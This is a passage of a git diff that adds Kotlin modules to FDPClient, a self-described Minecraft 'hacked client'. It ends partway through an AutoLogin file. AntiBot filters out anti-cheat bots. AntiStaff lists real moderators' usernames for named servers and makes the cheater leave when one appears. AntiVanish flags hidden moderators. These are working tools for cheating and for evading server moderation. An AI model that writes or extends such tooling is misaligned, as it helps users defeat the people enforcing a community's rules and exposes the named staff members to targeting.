net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.network.play.server.* +import net.minecraft.world.WorldSettings +import java.util.* + +@ModuleInfo(name = "AntiBot", category = ModuleCategory.OTHER) +object AntiBot : Module() { + + private val tabValue = BoolValue("Tab", true) + private val tabModeValue = ListValue("TabMode", arrayOf("Equals", "Contains"), "Contains").displayable { tabValue.get() } + private val entityIDValue = BoolValue("EntityID", true) + private val colorValue = BoolValue("Color", false) + private val livingTimeValue = BoolValue("LivingTime", false) + private val livingTimeTicksValue = IntegerValue("LivingTimeTicks", 40, 1, 200).displayable { livingTimeValue.get() } + private val groundValue = BoolValue("Ground", true) + private val airValue = BoolValue("Air", false) + private val invalidGroundValue = BoolValue("InvalidGround", true) + private val swingValue = BoolValue("Swing", false) + private val healthValue = BoolValue("Health", false) + private val derpValue = BoolValue("Derp", true) + private val wasInvisibleValue = BoolValue("WasInvisible", false) + private val validNameValue = BoolValue("ValidName", true) + private val hiddenNameValue = BoolValue("HiddenName", false) + private val armorValue = BoolValue("Armor", false) + private val pingValue = BoolValue("Ping", false) + private val needHitValue = BoolValue("NeedHit", false) + private val noClipValue = BoolValue("NoClip", false) + private val czechHekValue = BoolValue("CzechMatrix", false) + private val czechHekPingCheckValue = BoolValue("PingCheck", true).displayable { czechHekValue.get() } + private val czechHekGMCheckValue = BoolValue("GamemodeCheck", true).displayable { czechHekValue.get() } + private val reusedEntityIdValue = BoolValue("ReusedEntityId", false) + private val spawnInCombatValue = BoolValue("SpawnInCombat", false) + private val duplicateInWorldValue = BoolValue("DuplicateInWorld", false) + private val duplicateInTabValue = BoolValue("DuplicateInTab", false) + private val duplicateCompareModeValue = ListValue("DuplicateCompareMode", arrayOf("OnTime", "WhenSpawn"), "OnTime").displayable { duplicateInTabValue.get() || duplicateInWorldValue.get() } + private val fastDamageValue = BoolValue("FastDamage", false) + private val fastDamageTicksValue = IntegerValue("FastDamageTicks", 5, 1, 20).displayable { fastDamageValue.get() } + private val removeFromWorld = BoolValue("RemoveFromWorld", false) + private val removeIntervalValue = IntegerValue("Remove-Interval", 20, 1, 100).displayable { removeFromWorld.get() } + private val debugValue = BoolValue("Debug", false) + private val alwaysInRadiusValue = BoolValue("AlwaysInRadius", false) + private val alwaysRadiusValue = FloatValue("AlwaysInRadiusBlocks", 20f, 5f, 30f).displayable { alwaysInRadiusValue.get() } + private val alwaysInRadiusRemoveValue = BoolValue("AlwaysInRadiusRemove", false).displayable { alwaysInRadiusValue.get() } + private val alwaysInRadiusWithTicksCheckValue = BoolValue("AlwaysInRadiusWithTicksCheck", false).displayable { alwaysInRadiusValue.get() && livingTimeValue.get() } + + private val ground = mutableListOf<Int>() + private val air = mutableListOf<Int>() + private val invalidGround = mutableMapOf<Int, Int>() + private val swing = mutableListOf<Int>() + private val invisible = mutableListOf<Int>() + private val hitted = mutableListOf<Int>() + private val spawnInCombat = mutableListOf<Int>() + private val notAlwaysInRadius = mutableListOf<Int>() + private val lastDamage = mutableMapOf<Int, Int>() + private val lastDamageVl = mutableMapOf<Int, Float>() + private val duplicate = mutableListOf<UUID>() + private val noClip = mutableListOf<Int>() + private val hasRemovedEntities = mutableListOf<Int>() + private val regex = Regex("\\w{3,16}") + private var wasAdded = mc.thePlayer != null + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer == null || mc.theWorld == null) return + if (removeFromWorld.get() && mc.thePlayer.ticksExisted > 0 && mc.thePlayer.ticksExisted % removeIntervalValue.get() == 0) { + val ent: MutableList<EntityPlayer> = ArrayList() + for (entity in mc.theWorld.playerEntities) { + if (entity !== mc.thePlayer && isBot(entity)) ent.add(entity) + } + if (ent.isEmpty()) return + for (e in ent) { + mc.theWorld.removeEntity(e) + if (debugValue.get()) displayChatMessage("§7[§a§lAnti Bot§7] §fRemoved §r" + e.name + " §fdue to it being a bot.") + } + } + } + + @JvmStatic + fun isBot(entity: EntityLivingBase): Boolean { + // Check if entity is a player + if (entity !is EntityPlayer || entity === mc.thePlayer) { + return false + } + + // Check if anti bot is enabled + if (!state) { + return false + } + + if (validNameValue.get() && !entity.name.matches(regex)) { + return true + } + + if (hiddenNameValue.get() && ( entity.getName().contains("\u00A7") || (entity.hasCustomName() && entity.getCustomNameTag().contains(entity.getName()) ))){ + return true + } + + // Anti Bot checks + if (colorValue.get() && !entity.displayName.formattedText.replace("§r", "").contains("§")) { + return true + } + + if (livingTimeValue.get() && entity.ticksExisted < livingTimeTicksValue.get()) { + return true + } + + if (groundValue.get() && !ground.contains(entity.entityId)) { + return true + } + + if (airValue.get() && !air.contains(entity.entityId)) { + return true + } + + if (swingValue.get() && !swing.contains(entity.entityId)) { + return true + } + + if(noClipValue.get() && noClip.contains(entity.entityId)) { + return true + } + + if(reusedEntityIdValue.get() && hasRemovedEntities.contains(entity.entityId)) { + return false + } + + if (healthValue.get() && (entity.health > 20F || entity.health <= 0F)) { + return true + } + + if (spawnInCombatValue.get() && spawnInCombat.contains(entity.entityId)) { + return true + } + + if (entityIDValue.get() && (entity.entityId >= 1000000000 || entity.entityId <= -1)) { + return true + } + + if (derpValue.get() && (entity.rotationPitch > 90F || entity.rotationPitch < -90F)) { + return true + } + + if (wasInvisibleValue.get() && invisible.contains(entity.entityId)) { + return true + } + + if (armorValue.get()) { + if (entity.inventory.armorInventory[0] == null && entity.inventory.armorInventory[1] == null && + entity.inventory.armorInventory[2] == null && entity.inventory.armorInventory[3] == null) { + return true + } + } + + if (pingValue.get()) { + if (mc.netHandler.getPlayerInfo(entity.uniqueID)?.responseTime == 0) { + return true + } + } + + if (needHitValue.get() && !hitted.contains(entity.entityId)) { + return true + } + + if (invalidGroundValue.get() && invalidGround.getOrDefault(entity.entityId, 0) >= 10) { + return true + } + + if (tabValue.get()) { + val equals = tabModeValue.equals("Equals") + val targetName = stripColor(entity.displayName.formattedText) + + for (networkPlayerInfo in mc.netHandler.playerInfoMap) { + val networkName = stripColor(networkPlayerInfo.getFullName()) + + if (if (equals) targetName == networkName else targetName.contains(networkName)) { + return false + } + } + + return true + } + + if (duplicateCompareModeValue.equals("WhenSpawn") && duplicate.contains(entity.gameProfile.id)) { + return true + } + + if (duplicateInWorldValue.get() && duplicateCompareModeValue.equals("OnTime") && mc.theWorld.loadedEntityList.count { it is EntityPlayer && it.name == it.name } > 1) { + return true + } + + if (duplicateInTabValue.get() && duplicateCompareModeValue.equals("OnTime") && mc.netHandler.playerInfoMap.count { entity.name == it.gameProfile.name } > 1) { + return true + } + + if (fastDamageValue.get() && lastDamageVl.getOrDefault(entity.entityId, 0f) > 0) { + return true + } + + if (alwaysInRadiusValue.get() && !notAlwaysInRadius.contains(entity.entityId)) { + if (alwaysInRadiusRemoveValue.get()) { + mc.theWorld.removeEntity(entity) + } + return true + + } + + return entity.name.isEmpty() || entity.name == mc.thePlayer.name + } + + override fun onDisable() { + clearAll() + super.onDisable() + } + + private fun processEntityMove(entity: Entity, onGround: Boolean) { + if (entity is EntityPlayer) { + if (onGround && !ground.contains(entity.entityId)) { + ground.add(entity.entityId) + } + + if (!onGround && !air.contains(entity.entityId)) { + air.add(entity.entityId) + } + + if (onGround) { + if (entity.prevPosY != entity.posY) { + invalidGround[entity.entityId] = invalidGround.getOrDefault(entity.entityId, 0) + 1 + } + } else { + val currentVL = invalidGround.getOrDefault(entity.entityId, 0) / 2 + if (currentVL <= 0) { + invalidGround.remove(entity.entityId) + } else { + invalidGround[entity.entityId] = currentVL + } + } + + if (entity.isInvisible && !invisible.contains(entity.entityId)) { + invisible.add(entity.entityId) + } + + if (!noClip.contains(entity.entityId)) { + val cb = mc.theWorld.getCollidingBoundingBoxes(entity, entity.entityBoundingBox.contract(0.0625, 0.0625, 0.0625)) +// alert("NOCLIP[${cb.size}] ${entity.displayName.unformattedText} ${entity.posX} ${entity.posY} ${entity.posZ}") + if(cb.isNotEmpty()) { + noClip.add(entity.entityId) + } + } + + if ((!livingTimeValue.get() || entity.ticksExisted > livingTimeTicksValue.get() || !alwaysInRadiusWithTicksCheckValue.get()) && !notAlwaysInRadius.contains(entity.entityId) && mc.thePlayer.getDistanceToEntity(entity) > alwaysRadiusValue.get()) { + notAlwaysInRadius.add(entity.entityId) + } + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (mc.thePlayer == null || mc.theWorld == null) return + if (czechHekValue.get()) { + + val packet = event.packet + + if (packet is S41PacketServerDifficulty) wasAdded = false + if (packet is S38PacketPlayerListItem) { + val packetListItem = event.packet as S38PacketPlayerListItem + val data = packetListItem.entries[0] + if (data.profile != null && data.profile.name != null) { + if (!wasAdded) wasAdded = + data.profile.name == mc.thePlayer.name else if (!mc.thePlayer.isSpectator && !mc.thePlayer.capabilities.allowFlying && (!czechHekPingCheckValue.get() || data.ping != 0) && (!czechHekGMCheckValue.get() || data.gameMode != WorldSettings.GameType.NOT_SET)) { + event.cancelEvent() + if (debugValue.get()) displayChatMessage("§7[§a§lAnti Bot/§6Matrix§7] §fPrevented §r" + data.profile.name + " §ffrom spawning.") + } + } + } + } + val packet = event.packet + + if(packet is S18PacketEntityTeleport) { + processEntityMove(mc.theWorld.getEntityByID(packet.entityId) ?: return, packet.onGround) + } else if (packet is S14PacketEntity) { + processEntityMove(packet.getEntity(mc.theWorld) ?: return, packet.onGround) + } else if (packet is S0BPacketAnimation) { + val entity = mc.theWorld.getEntityByID(packet.entityID) + + if (entity != null && entity is EntityLivingBase && packet.animationType == 0 && + !swing.contains(entity.entityId)) { + swing.add(entity.entityId) + } + } else if (packet is S38PacketPlayerListItem) { + if (duplicateCompareModeValue.equals("WhenSpawn") && packet.action == S38PacketPlayerListItem.Action.ADD_PLAYER) { + packet.entries.forEach { entry -> + val name = entry.profile.name + if (duplicateInWorldValue.get() && mc.theWorld.playerEntities.any { it.name == name } || + duplicateInTabValue.get() && mc.netHandler.playerInfoMap.any { it.gameProfile.name == name }) { + duplicate.add(entry.profile.id) + } + } + } + } else if (packet is S0CPacketSpawnPlayer) { + if(FDPClient.combatManager.inCombat && !hasRemovedEntities.contains(packet.entityID)) { + spawnInCombat.add(packet.entityID) + } + } else if (packet is S13PacketDestroyEntities) { + hasRemovedEntities.addAll(packet.entityIDs.toTypedArray()) + } + + if (packet is S19PacketEntityStatus && packet.opCode.toInt() == 2 || packet is S0BPacketAnimation && packet.animationType == 1) { + val entity = if (packet is S19PacketEntityStatus) { packet.getEntity(mc.theWorld) } else if (packet is S0BPacketAnimation) { mc.theWorld.getEntityByID(packet.entityID) } else { null } ?: return + + if (entity is EntityPlayer) { + lastDamageVl[entity.entityId] = lastDamageVl.getOrDefault(entity.entityId, 0f) + if (entity.ticksExisted - lastDamage.getOrDefault(entity.entityId, 0) <= fastDamageTicksValue.get()) { + 1f + } else { + -0.5f + } + lastDamage[entity.entityId] = entity.ticksExisted + } + } + } + + @EventTarget + fun onAttack(e: AttackEvent) { + val entity = e.targetEntity + + if (entity is EntityLivingBase && !hitted.contains(entity.entityId)) { + hitted.add(entity.entityId) + } + } + + @EventTarget + fun onWorld(event: WorldEvent) { + clearAll() + } + + private fun clearAll() { + hitted.clear() + swing.clear() + ground.clear() + invalidGround.clear() + invisible.clear() + lastDamage.clear() + lastDamageVl.clear() + notAlwaysInRadius.clear() + duplicate.clear() + spawnInCombat.clear() + noClip.clear() + hasRemovedEntities.clear() + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AntiExploit.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AntiExploit.kt new file mode 100644 index 0000000..3b5a473 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AntiExploit.kt @@ -0,0 +1,93 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.network.play.server.* + +@ModuleInfo(name = "AntiExploit", category = ModuleCategory.OTHER, array = false) +object AntiExploit : Module() { + init { + state = true + } + + private val guardianValue = BoolValue("LessGuardian", true) + private val maxArrowSpawn = IntegerValue("MaxArrowPerSecond", 100, 50, 1000) + + private var tick = 0 + private var arrowMax = 0 + private var guardianEffect = false + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (mc.thePlayer != null && mc.theWorld != null && packet is S0FPacketSpawnMob && mc.theWorld.loadedEntityList.size > 500) { + event.cancelEvent() + } + + if (packet is S08PacketPlayerPosLook) { + if (Math.abs(packet.x) > 3.0E7 || Math.abs(packet.y) > 3.0E7 || Math.abs(packet.z) > 3.0E7) { + event.cancelEvent() + } + } + + if (packet is S2APacketParticles) { + if (packet.getParticleCount() > 1024) { + event.cancelEvent() + } + } + + if (packet is S27PacketExplosion) { + if (Math.abs(packet.func_149149_c()) > 100.0 || Math.abs(packet.func_149144_d()) > 100.0 || Math.abs(packet.func_149147_e()) > 100.0) { + event.cancelEvent() + } + } + + if (packet is S2BPacketChangeGameState) { + when(packet.gameState) { + 5 -> { + if(!mc.isDemo) { + event.cancelEvent() + } + } + 10 -> { + if(guardianValue.get()) { + if (!guardianEffect) { + guardianEffect = true + } else { + event.cancelEvent() + } + } + + } + } + } + + if (packet is S0EPacketSpawnObject && packet.type == 60) { + if (arrowMax++ > maxArrowSpawn.get()) { + event.cancelEvent() + } + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (tick++ >= 20) { + tick = 0 + arrowMax = 0 + guardianEffect = false + } + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AntiStaff.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AntiStaff.kt new file mode 100644 index 0000000..1fb436a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AntiStaff.kt @@ -0,0 +1,134 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.misc.HttpUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.TextValue +import net.minecraft.network.play.server.S14PacketEntity +import net.minecraft.network.play.server.S1DPacketEntityEffect + +@ModuleInfo(name = "AntiStaff", category = ModuleCategory.OTHER) +object AntiStaff : Module() { + + private val serversText = TextValue("Servers", "") + + private val kkcraftValue = BoolValue("KKCraft",true) + private val blocksMCValue = BoolValue("BlocksMC", true) + private val jartexValue = BoolValue("Jartex", false) + private val pikaValue = BoolValue("Pika", true) + private val mineboxValue = BoolValue("Minebox", false) + private val hycraftValue = BoolValue("Hycraft", true) + private val librecraftValue = BoolValue("Librecraft", false) + private val universocraftValue = BoolValue("Universocraft", true) + private val customValue = BoolValue("Custom", false) + + private val notifyValue = BoolValue("Notification",true) + private val chatValue = BoolValue("SendChatMessage",false) + private val messageValue = TextValue("Message", "%staff% was detected as a staff member!").displayable { chatValue.get() } + private val customURLValue = TextValue("CustomURL", "https://raw.githubusercontent.com/fdpweb/fdpweb.github.io/main/test").displayable { customValue.get() } + + private val leaveValue = BoolValue("Leave",true) + private val leaveMessageValue = TextValue("LeaveCommand","/hub").displayable { leaveValue.get() } + + private var kkStaff : String = "Creeper_Hello Kun_God hanhan_api" + private var bmcStaff : String = " iDhoom Jinaaan Eissaa Ev2n 1Mhmmd mohmad_q8 1Daykel Aliiyah 1Brhom xImTaiG_ comsterr 8layh M7mmd 1LaB xIBerryPlayz iiRaivy Refolt 1Sweet Aba5z3l EyesO_Diamond bestleso Firas reallyisntfair e9_ MK_F16 unrelievable Ixfaris_0 LuvDark 420kinaka _NonameIsHere_ iS3od_ 3Mmr Wesccar 1MeKo losingtears KaaReeeM loovq rarticalss 1RealFadi JustDrink_ AFG_progamer92 Jxicide D7oMz 1AhMqD Omaaaaaaaaaar Classic190 Only7oDa sylx69 1_3bdalH frank124 dfdox 1Mohq 1Sweleh_ Om2r epicmines33 1Devesty_ BagmaTwT Azyyq A2boD Ba1z 100k__ Watchdog nv0ola KinderBueno__ Invxe_ GreatMjd zixgamer Salvctore 420Lalilala vIon3 wstre AstroSaif plaintiveness ImS3G 1Flick EstieMeow ItsNqf MVP11 Daddy_Naif shichirouu Lordui 1Reyleigh BIocksMc 1Retired O_lp L6mh 63myh 1Mawja_ Tqfi 3iDO 1M7mmd__ lqmr yzed GsOMAR nshme Fcris RamboKinq qDry1 1Rana 1flyn Harbi deficency 0Aix 0Da3s 0DrRep 0hPqnos 0h_Roby 1A7mad1 1Ahmvd 1Derex 1DeVilz 1F5aMH___3oo 1HeyImHasson_ 1KhaleeD 1Kweng 1L7NN 1Levaai 1Loga_ 1LoST_ 1M0ha 1M7mdz 1M7mmD 1Mshari 1Narwhql 1Omxr 1Pepe_ 1RE3 1Sinqx 1Tz3bo 1_aq 1_ST 3rodi 7MZH 7re2a_YT 8mhh 90fa 91l7 9we A5oShnBaT abd0_369 Aboal3z14 Aboz3bl AbuA7md506 AfootDiamond117 AhmedPROGG Alaam_FG arbawii AsgardOfEddard AwKTaM Aymann_ baderr Banderr BaSiL_123 Bastic beyondviolets BinDontCare BlackOurs Blood_Artz Bo3aShor Bo6lalll bota_69 Boviix c22l Creegam Cryslinq CutieRana cuz_himo cW6n d5qq DaBabyFan DangPavel DarkA5_ deathally Dedz1k DeeRx DestroyerOnyc_ DestroyerTrUnKs Dizibre Dqrkfall Draggn_ Driction Du7ym ebararh EVanDoskI F2rris FaRidok FexoraNEP Flineer Fta7 Futurezii G3rryx GoldenGapples H2ris Haifa_magic HM___ iA11 iAhmedGG IDoubIe IF3MH iiEsaTKing_ iikimo iLuvSG_ ilybb0 iMehdi_ ImXann INFAMOUSEEE InjjectoR inVertice IR3DX iRxv iSolom Its_HighNoon Ittekimasu itzZa1D ixBander IxDjole IxKimo i_Ym5 Jarxay Jrx7 Just7MO KingHOYT KoFTH kostasidk Kuhimitsu lacvna lareey leeleeeleeeleee Lemfs lt1x Lunching Luvaa lwra M1M_ M4rwaan Maarcii manuelmaster Mark_Gamer_YT_ MaybeHeDoes Mhmovd MightyM7MD Millsap MindOfNasser Mjdra_call_ME mokgii Mondoros Mythiques mzh Neeres NotMoHqMeD__ obaida123445 ogm OldAlone Oxenaa phxnomenal PT7 qB6o6 qlxc qMabel qPito Raceth RADVN RealWayne real__happy redcriper Requieem ritclaw rixw1 rqnkk s2lm S3rvox saad6 Saajed Sadlly SalemBayern_ SamoXS sh5boo6 Sp0tzy_ SpecialAdam_ SpecialAdel_ STEEEEEVEEEE Tabby_Bhau Tetdeus TheDaddyJames TheDrag_Xx Thenvra TheOnlyM7MAD Tibbz_BGamer Tibbz_BGamer_ ToFy_ Tostiebramkaas ttkshr_ tverdy uh8e vBursT_ vdhvm vinnythebot vM6r vxom w7r wishingdeath wl3d wzii xanaxjuice xDiaa_levo xDmg xDupzHell xiDayzer xImMuntadher_ xIMonster_Rj xL2d xLePerfect xMz7 Y2men Yaazzeed yff3 yosife_7Y yQuack Y_04 zAhmd ZANAD zayedk zCroDanger Zqvies _0bX _b_i _iSkyla _N3 _Ottawa _R3 _SpecialSA_ _Vxpe _xayu_ _z2_ " + private var jartexStaff : String = "voodootje0 Max Rodagave Wrath JustThiemo Andeh Nirahz stupxd Botervrij Viclyn_ DrogonMC ovq Flexier NotLoLo1818 SabitTSDM07 ItzCqldFxld Laux bene_e iFlyYT HeadsBreker AX79 Technostein Djim Serpentsalamce Almostlikeaboss JustAtaman ZoneRGH naranbaatr louiekeys Difficulted FuzniX xHasey sammyxt CR7811149 Xerrainrin toastt_x UpperGround Swervinng SquareWings928 Yanique1 pakitonia Stxrs".toString() + private var pikaStaff : String = "Max voodootje0 MrFrenco JustThiemo Wrath Andeh Nirahz stupxd Botervrij Subvalent Apo2xd Arrly Minecraft_leg CaptainGeoGR Thijme01 ChickenDinnr Crni_ MrGownz Outscale MrEpiko Crveni_Marlboro zMqrcc _Stella_xD Stormidity TryToHitMe Alparo_ CandyOP Astrospeh TinCanL TheTrueNova FIKOZ DarkVenom7 caila5 Lpkfvip i9BAR " + private var mineboxStaff : String = "xSp3ctro_ SaF3rC Sagui TheSuperXD_YT xAnibal xTheKillex25x HankWalter JavierFenix inothayami ChaosSoleil ElChamo300 Robert TO1010 itachi_uchiha_s roku__ rynne_ sushi dashi Vicky_21" + private var zonecraftStaff : String = "002Aren asiessoydecono donerreMC elMagnificPvP ErCris fernxndx gourd Gudaa ImAle ImMarvolo ismq nicoxrm pacorro rapheos MrBara MrMonkey57 uploadedhh trifeyy 002Aren Agu5 augusmaster BetTD d411 dunshbey85 ElMaGnific Pv ErCris Eugene FelmaxMC Gudaa ¡Enux ImMarvolo sleepless ismq ItzOmar16 joescam LuisPoMC Nicoxrm pacorro " + private var hycraftStaff : String = "Alexander245 arqui Blandih Chony_15 jac0mc Ragen06 TheBryaan TMT_131 Yapecito MartynaGamer830 archeriam" + private var librecraftStaff : String = "Kudos H0DKIER Iker_XD9 acreate iJeanSC acreate Janet Rosse_RM aldoum23neko_ DERGO MJKINGPAND" + private var universocraftStaff : String = "0edx_ 0_Lily 1Kao denila fxrchus haaaaaaaaaaax_ iBlackSoulz iMxon_ JuliCarles kvvwro Tauchet wSilv6r _JuPo_" + + + private var detected = false + private var staffs = "" + + + @EventTarget + fun onWorld(event: WorldEvent) { + staffs = "" + if (kkcraftValue.get()) staffs = "$staffs $kkStaff" + if (blocksMCValue.get()) staffs = "$staffs $bmcStaff" + if (jartexValue.get()) staffs = "$staffs $jartexStaff" + if (pikaValue.get()) staffs = "$staffs $pikaStaff" + if (mineboxValue.get()) staffs = "$staffs $mineboxStaff" + if (hycraftValue.get()) staffs = "$staffs $hycraftStaff" + if (librecraftValue.get()) staffs = "$staffs $librecraftStaff" + if (universocraftValue.get()) staffs = "$staffs $universocraftStaff" + if (customValue.get()) { + + try { + staffs = staffs + " " + HttpUtils.get(customURLValue.get()) + + FDPClient.hud.addNotification(Notification("AntiStaff", "SuccessFully Loaded URL", NotifyType.SUCCESS, 1000)) + } catch (err: Throwable) { + FDPClient.hud.addNotification(Notification("AntiStaff", "Error when loading URL", NotifyType.ERROR, 1000)) + println(err) + } + } + + detected = false + } + + @EventTarget + fun onPacket(event: PacketEvent){ + if (mc.theWorld == null || mc.thePlayer == null) return + + val packet = event.packet // smart convert + if (packet is S1DPacketEntityEffect) { + val entity = mc.theWorld.getEntityByID(packet.entityId) + if (entity != null && (staffs.contains(entity.name) || staffs.contains(entity.displayName.unformattedText))) { + if (!detected) { + if (notifyValue.get()){ + FDPClient.hud.addNotification(Notification(name, "Detected staff members with invis. You should quit ASAP.", NotifyType.WARNING, 8000)) + } + + if (chatValue.get()) { + mc.thePlayer.sendChatMessage((messageValue.get()).replace("%staff%", entity.name)) + } + if (leaveValue.get()) { + mc.thePlayer.sendChatMessage(leaveMessageValue.get()) + } + + detected = true + } + } + } + if (packet is S14PacketEntity) { + val entity = packet.getEntity(mc.theWorld) + + if (entity != null && (staffs.contains(entity.name) || staffs.contains(entity.displayName.unformattedText))) { + if (!detected) { + if (notifyValue.get()){ + FDPClient.hud.addNotification(Notification(name, "Detected staff members. You should quit ASAP.", NotifyType.WARNING,8000)) + } + + if (chatValue.get()) { + ClientUtils.displayChatMessage((messageValue.get()).replace("%staff%", entity.name)) + } + + if (leaveValue.get()) { + mc.thePlayer.sendChatMessage(leaveMessageValue.get()) + } + + detected = true + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AntiVanish.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AntiVanish.kt new file mode 100644 index 0000000..e20c173 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AntiVanish.kt @@ -0,0 +1,46 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.minecraft.network.play.server.S14PacketEntity +import net.minecraft.network.play.server.S1DPacketEntityEffect + +@ModuleInfo(name = "AntiVanish", category = ModuleCategory.OTHER) +object AntiVanish : Module() { + + private var lastNotify = -1L + + @EventTarget + fun onPacket(event: PacketEvent){ + if (mc.theWorld == null || mc.thePlayer == null) return + if(event.packet is S1DPacketEntityEffect){ + if(mc.theWorld.getEntityByID(event.packet.entityId)==null){ + vanish() + } + }else if(event.packet is S14PacketEntity){ + if(event.packet.getEntity(mc.theWorld)==null){ + vanish() + } + } + } + + private fun vanish() { + if((System.currentTimeMillis()-lastNotify)>5000){ + FDPClient.hud.addNotification(Notification("Found a vanished entity!", "someone just vanished!", NotifyType.WARNING, 4000, 500)) + + } + lastNotify=System.currentTimeMillis() + + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AutoGG.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AutoGG.kt new file mode 100644 index 0000000..bb9bb4a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AutoGG.kt @@ -0,0 +1,68 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.TextValue +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.network.play.server.S02PacketChat + +@ModuleInfo(name = "AutoGG", category = ModuleCategory.OTHER) +object AutoGG : Module() { + + private val winCheckValue = TextValue("WinCheck", "Winner") + private val delayValue = IntegerValue("Delay", 1000, 1000, 5000) + private val ggMessageValue = TextValue("GGMessage", "GG!") + + private var winning = false + private val timer = MSTimer() + override fun onEnable() { + timer.reset() + winning = false + } + + @EventTarget + fun onWorld(event: WorldEvent) { + winning = false + timer.reset() + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S02PacketChat) { + val message = packet.chatComponent.unformattedText + + if(message.contains(winCheckValue.get()) && !message.contains(":")) { + winning = true + } + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if(winning) { + if(timer.hasTimePassed(delayValue.get().toLong())){ + FDPClient.hud.addNotification(Notification("AutoGG", "Sent", NotifyType.SUCCESS, 1000, 500)) + mc.thePlayer.sendChatMessage(ggMessageValue.get()) + timer.reset() + winning = false + } + } else { + timer.reset() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AutoLogin.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AutoLogin.kt new file mode 100644 index 0000000..4e149a4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AutoLogin.kt @@ -0,0 +1,81 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.TextValue +import net.minecraft.network.play.server.S02PacketChat +import net.minecraft.network.play.server.S45PacketTitle +import java.util.* +import kotlin.concurrent.schedule + 